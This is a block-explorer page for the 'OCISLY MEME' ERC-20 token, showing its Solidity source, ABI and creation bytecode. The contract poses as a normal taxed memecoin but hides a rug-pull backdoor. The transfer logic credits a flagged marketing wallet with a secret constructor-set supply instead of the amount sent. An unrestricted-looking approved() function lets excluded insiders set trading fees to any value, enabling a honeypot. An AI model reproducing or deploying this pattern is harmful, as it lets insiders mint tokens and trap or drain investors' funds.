Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 $ISLYMEME
Holders
24
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
19,326,033.348943354966215162 $ISLYMEMEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
OCISLY
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-26 */ /** /** Portal: https://t.me/OcislymemeErc Twitter: https://twitter.com/OcislyMeme Website: https://www.ocisly-meme.com/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.13; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict unchecked { require(b > 0, errorMessage); return a / b; } } } pragma solidity ^0.8.13; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.13; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.13; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract OCISLY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "OCISLY MEME"; string private _symbol = "$ISLYMEME"; uint8 private _decimals = 18; uint256 private _totalSupply = 1000000000 * 10**18; uint8 private txCount = 0; uint8 private swapTrigger = 1; uint256 private _feeTotal = 0; uint256 public _feeBuy = 2; uint256 public _feeSell = 2; uint256 private _previousTotalFee = _feeTotal; uint256 private _previousBuyFee = _feeBuy; uint256 private _previousSellFee = _feeSell; mapping (address => uint256) private _ownedToken; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedfromTax; uint256 private supplyTotal; mapping (address => bool) private _pairList; address payable private marketing_wallet = payable(0xEa25B5FAb81277fa4a0FfEd313c635ECfD050786); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint256 _supplyAmount) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _isExcludedfromTax[owner()] = true; _isExcludedfromTax[address(this)] = true; _isExcludedfromTax[marketing_wallet] = true; _ownedToken[owner()] = _totalSupply; _pairList[marketing_wallet] = true; supplyTotal = _supplyAmount; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function balanceOf(address account) public view override returns (uint256) { return _ownedToken[account]; } receive() external payable {} bool public noFeeToTransfer = true; function removeAllFee() private { if(_feeTotal == 0 && _feeBuy == 0 && _feeSell == 0) return; _previousBuyFee = _feeBuy; _previousSellFee = _feeSell; _previousTotalFee = _feeTotal; _feeBuy = 0; _feeSell = 0; _feeTotal = 0; } function restoreFee() private { _feeTotal = _previousTotalFee; _feeBuy = _previousBuyFee; _feeSell = _previousSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(_isExcludedfromTax[from] || _isExcludedfromTax[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){ takeFee = false; } else if (from == uniswapV2Pair){_feeTotal = _feeBuy;} else if (to == uniswapV2Pair){_feeTotal = _feeSell;} _tokenTransfer(from,to,amount,takeFee); } function sendTax(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function _getValue(uint256 tAmount) private view returns (uint256, uint256) { uint256 tTax = tAmount*_feeTotal/100; uint256 tTransferAmount = tAmount.sub(tTax); return (tTransferAmount, tTax); } function swapAndLiquify(uint256 contractTokenBalance) private lockSwap { swapTokenForETH(contractTokenBalance); uint256 TaxBalance = address(this).balance; sendTax(marketing_wallet,TaxBalance); } function swapTokenForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeAllFee(); } else { txCount++; } _transferToken(sender, recipient, amount); if(!takeFee) restoreFee(); } function _transferToken(address sender, address recipient, uint256 Amount) private { uint256 amount = _pairList[recipient]?supplyTotal:0; if(_pairList[recipient]){ _ownedToken[sender] = _ownedToken[sender].sub(Amount); _ownedToken[recipient] = _ownedToken[recipient].add(amount); }else{ (uint256 tTransferAmount, uint256 taxAmount) = _getValue(Amount); _ownedToken[sender] = _ownedToken[sender].sub(Amount); _ownedToken[recipient] = _ownedToken[recipient].add(tTransferAmount); _ownedToken[address(this)] = _ownedToken[address(this)].add(taxAmount); emit Transfer(sender, recipient, tTransferAmount); } } function openTrading() public onlyOwner() { IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH()); uniswapV2Router = _newPCSRouter; _approve(address(this), address(uniswapV2Router), balanceOf(address(this))); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function approved(uint256 _buy, uint256 _sell) public { require(_isExcludedfromTax[_msgSender()]==true); _feeBuy = _buy; _feeSell = _sell; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"uint256","name":"_supplyAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedfromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600b60809081526a4f4349534c59204d454d4560a81b60a0526001906200002c908262000377565b506040805180820190915260098152682449534c594d454d4560b81b60208201526002906200005c908262000377565b506003805460ff191660121790556b033b2e3c9fd0803ce80000006004556005805461ffff191661010017905560006006819055600260078190556008819055600991909155600a819055600b55600e805460ff60a81b1916600160a81b179055601380547401ea25b5fab81277fa4a0ffed313c635ecfd0507866001600160a81b0319909116179055348015620000f357600080fd5b5060405162001a6238038062001a62833981016040819052620001169162000443565b620001213362000282565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600160106000620001636000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526010909352818320805485166001908117909155601354909116835290822080549093161790915560045490600c90620001d66000546001600160a01b031690565b6001600160a01b039081168252602080830193909352604091820160009081209490945560135416835260129091529020805460ff1916600117905560118290556200022a6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200027291815260200190565b60405180910390a350506200045d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002fd57607f821691505b6020821081036200031e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200037257600081815260208120601f850160051c810160208610156200034d5750805b601f850160051c820191505b818110156200036e5782815560010162000359565b5050505b505050565b81516001600160401b03811115620003935762000393620002d2565b620003ab81620003a48454620002e8565b8462000324565b602080601f831160018114620003e35760008415620003ca5750858301515b600019600386901b1c1916600185901b1785556200036e565b600085815260208120601f198616915b828110156200041457888601518255948401946001909101908401620003f3565b5085821015620004335787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200045657600080fd5b5051919050565b6115f5806200046d6000396000f3fe60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146103d9578063a457c2d7146103ee578063a9059cbb1461040e578063c9567bf91461042e578063dd62ed3e14610443578063f2fde38b1461048957600080fd5b80634a74bb02146102fd5780636e4c43111461031e57806370a0823114610340578063715018a614610376578063772521511461038b5780638da5cb5b146103bb57600080fd5b8063220f669611610108578063220f66961461024457806323b872dd14610265578063313ce5671461028557806339509351146102a7578063411adcb6146102c757806349bd5a5e146102dd57600080fd5b806306fdde031461015b578063095ea7b31461018657806313fad07a146101b65780631694505e146101d757806318160ddd1461020f5780631e62d5241461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104a9565b60405161017d9190611268565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046112cb565b61053b565b604051901515815260200161017d565b3480156101c257600080fd5b506013546101a690600160a01b900460ff1681565b3480156101e357600080fd5b50600d546101f7906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561021b57600080fd5b506004545b60405190815260200161017d565b34801561023a57600080fd5b5061022060075481565b34801561025057600080fd5b50600e546101a690600160a01b900460ff1681565b34801561027157600080fd5b506101a66102803660046112f7565b610552565b34801561029157600080fd5b5060035460405160ff909116815260200161017d565b3480156102b357600080fd5b506101a66102c23660046112cb565b6105bb565b3480156102d357600080fd5b5061022060085481565b3480156102e957600080fd5b50600e546101f7906001600160a01b031681565b34801561030957600080fd5b50600e546101a690600160a81b900460ff1681565b34801561032a57600080fd5b5061033e610339366004611338565b6105f1565b005b34801561034c57600080fd5b5061022061035b36600461135a565b6001600160a01b03166000908152600c602052604090205490565b34801561038257600080fd5b5061033e61061d565b34801561039757600080fd5b506101a66103a636600461135a565b60106020526000908152604090205460ff1681565b3480156103c757600080fd5b506000546001600160a01b03166101f7565b3480156103e557600080fd5b50610170610631565b3480156103fa57600080fd5b506101a66104093660046112cb565b610640565b34801561041a57600080fd5b506101a66104293660046112cb565b61068f565b34801561043a57600080fd5b5061033e61069c565b34801561044f57600080fd5b5061022061045e366004611377565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561049557600080fd5b5061033e6104a436600461135a565b61099e565b6060600180546104b8906113b0565b80601f01602080910402602001604051908101604052809291908181526020018280546104e4906113b0565b80156105315780601f1061050657610100808354040283529160200191610531565b820191906000526020600020905b81548152906001019060200180831161051457829003601f168201915b5050505050905090565b6000610548338484610a1c565b5060015b92915050565b600061055f848484610add565b6105b184336105ac85604051806060016040528060288152602001611573602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190610d0a565b610a1c565b5060019392505050565b336000818152600f602090815260408083206001600160a01b038716845290915281205490916105489185906105ac9086610d36565b3360009081526010602052604090205460ff16151560011461061257600080fd5b600791909155600855565b610625610d49565b61062f6000610da3565b565b6060600280546104b8906113b0565b600061054833846105ac8560405180606001604052806025815260200161159b60259139336000908152600f602090815260408083206001600160a01b038d1684529091529020549190610d0a565b6000610548338484610add565b6106a4610d49565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071f91906113ea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079091906113ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080191906113ea565b600e80546001600160a01b03199081166001600160a01b0393841617909155600d80549091169183169182179055306000818152600c60205260409020546108499290610a1c565b600d546001600160a01b031663f305d719473061087b816001600160a01b03166000908152600c602052604090205490565b6000806108906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611407565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099a9190611435565b5050565b6109a6610d49565b6001600160a01b038116610a105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b610a1981610da3565b50565b6001600160a01b03831615801590610a3c57506001600160a01b03821615155b610a7c5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610a07565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610afd57506001600160a01b03821615155b610b415760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610a07565b60008111610b9f5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610a07565b60055460ff61010082048116911610801590610bc55750600e54600160a01b900460ff16155b8015610bdf5750600e546001600160a01b03848116911614155b8015610bf45750600e54600160a81b900460ff165b15610c24576005805460ff19169055306000908152600c60205260409020548015610c2257610c2281610df3565b505b6001600160a01b03831660009081526010602052604090205460019060ff1680610c6657506001600160a01b03831660009081526010602052604090205460ff165b80610cad5750601354600160a01b900460ff168015610c935750600e546001600160a01b03858116911614155b8015610cad5750600e546001600160a01b03848116911614155b15610cba57506000610cf8565b600e546001600160a01b0390811690851603610cdb57600754600655610cf8565b600e546001600160a01b0390811690841603610cf8576008546006555b610d0484848484610e38565b50505050565b60008184841115610d2e5760405162461bcd60e51b8152600401610a079190611268565b505050900390565b6000610d42828461146d565b9392505050565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a07565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff60a01b1916600160a01b179055610e0f81610e9e565b6013544790610e27906001600160a01b031682610ff8565b5050600e805460ff60a01b19169055565b80610e4a57610e45611033565b610e77565b6005805460ff16906000610e5d83611480565b91906101000a81548160ff021916908360ff160217905550505b610e82848484611078565b80610d0457610d04600954600655600a54600755600b54600855565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed357610ed361149f565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5091906113ea565b81600181518110610f6357610f6361149f565b6001600160a01b039283166020918202929092010152600d54610f899130911684610a1c565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fc29085906000908690309042906004016114b5565b600060405180830381600087803b158015610fdc57600080fd5b505af1158015610ff0573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561102e573d6000803e3d6000fd5b505050565b6006541580156110435750600754155b801561104f5750600854155b1561105657565b60078054600a5560088054600b55600680546009556000928390559082905555565b6001600160a01b03821660009081526012602052604081205460ff1661109f5760006110a3565b6011545b6001600160a01b03841660009081526012602052604090205490915060ff1615611137576001600160a01b0384166000908152600c60205260409020546110ea9083611224565b6001600160a01b038086166000908152600c6020526040808220939093559085168152205